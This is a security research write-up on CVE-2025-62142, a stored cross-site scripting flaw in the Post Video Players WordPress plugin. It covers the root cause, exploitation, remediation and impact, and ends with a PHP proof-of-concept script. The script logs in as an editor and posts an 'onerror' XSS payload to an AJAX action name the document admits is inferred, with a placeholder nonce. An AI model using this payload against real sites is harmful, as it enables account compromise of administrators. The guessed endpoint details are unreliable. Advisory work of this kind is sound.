Atomic Edge analysis of CVE-2025-62142 (metadata-based):
This vulnerability is an authenticated stored cross-site scripting (XSS) flaw in the Post Video Players WordPress plugin, affecting versions up to and including 1.163. The issue stems from insufficient input sanitization and output escaping within a plugin feature accessible to users with editor-level capabilities or higher. Successful exploitation requires a specific WordPress configuration, either a multisite installation or a single-site installation where the `unfiltered_html` capability is disabled for the attacker’s role.
Atomic Edge research infers the root cause is improper neutralization of user input before its inclusion in web page output, consistent with CWE-79. The vulnerability description confirms insufficient input sanitization and output escaping. The exact vulnerable function or endpoint is not confirmed from source code. The condition regarding `unfiltered_html` indicates the plugin likely relies on WordPress’s default capability checks for sanitization, which are bypassed in these specific configurations.
Exploitation requires an authenticated attacker with at least the editor role. The attacker would likely submit a malicious payload through a plugin-specific administrative interface, such as a form for creating or managing video playlists. This payload would be stored in the database. The script executes in the context of an administrator or other user viewing the affected page in the WordPress backend or frontend. A realistic payload could be a JavaScript event handler like `onerror=alert(document.domain)` injected into an improperly sanitized text or title field.
Remediation requires implementing proper output escaping on all dynamic data the plugin echoes to the browser. The fix should use WordPress core escaping functions like `esc_html()` or `esc_attr()` depending on context. Input validation should also be strengthened, but output escaping is the primary defense. The patch must ensure security regardless of the `unfiltered_html` capability setting.
Impact includes session hijacking, malicious redirects, or defacement for users who view a compromised page. An attacker with editor access could target administrators to perform actions like adding backdoor administrator accounts. The stored nature of the attack increases its reach, as the payload executes for every subsequent visitor to the injected page. The CVSS score of 4.4 reflects the elevated privileges required and the conditional attack complexity.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-62142 - Post Video Players <= 1.163 - Authenticated (Editor+) Stored Cross-Site Scripting
<?php
// CONFIGURATION
$target_url = 'http://vulnerable-site.local/wp-admin/admin-ajax.php';
$username = 'attacker_editor';
$password = 'attacker_password';
// ASSUMPTIONS:
// 1. The plugin uses a WordPress AJAX handler for the vulnerable function.
// 2. The AJAX action name is derived from the plugin slug or a similar pattern.
// 3. The vulnerability exists in a parameter named 'title' or 'content'.
// 4. The target site has 'unfiltered_html' disabled for the editor role.
$ajax_action = 'video_playlist_and_gallery_plugin_save'; // Inferred action name
$malicious_payload = '"><img src=x onerror=alert("XSS_"+document.domain)>';
// Step 1: Authenticate to WordPress and obtain cookies/nonce.
$login_url = str_replace('/wp-admin/admin-ajax.php', '/wp-login.php', $target_url);
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $login_url,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_COOKIEJAR => 'cookies.txt',
CURLOPT_COOKIEFILE => 'cookies.txt',
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url,
'testcookie' => '1'
]),
CURLOPT_HTTPHEADER => ['Content-Type: application/x-www-form-urlencoded']
]);
$response = curl_exec($ch);
// Step 2: Extract a nonce from an admin page (required for AJAX request).
// This step is speculative; the actual nonce field name is unknown.
$admin_page = str_replace('/wp-admin/admin-ajax.php', '/wp-admin/admin.php?page=video-playlist', $target_url);
curl_setopt_array($ch, [
CURLOPT_URL => $admin_page,
CURLOPT_POST => false
]);
$admin_html = curl_exec($ch);
// Simulate finding a nonce. In a real scenario, parse HTML for a nonce value.
// Example regex pattern: /nonce_name['"]s*value=['"]([a-f0-9]+)/
$nonce = 'inferred_nonce_value'; // Placeholder
// Step 3: Craft and send the malicious AJAX request.
$post_fields = [
'action' => $ajax_action,
'_wpnonce' => $nonce,
'playlist_title' => 'Legitimate Playlist' . $malicious_payload, // Injected parameter
'playlist_id' => '1'
];
curl_setopt_array($ch, [
CURLOPT_URL => $target_url,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query($post_fields)
]);
$ajax_response = curl_exec($ch);
curl_close($ch);
echo "Payload sent. Check the video playlist admin page for XSS execution.n";
?>
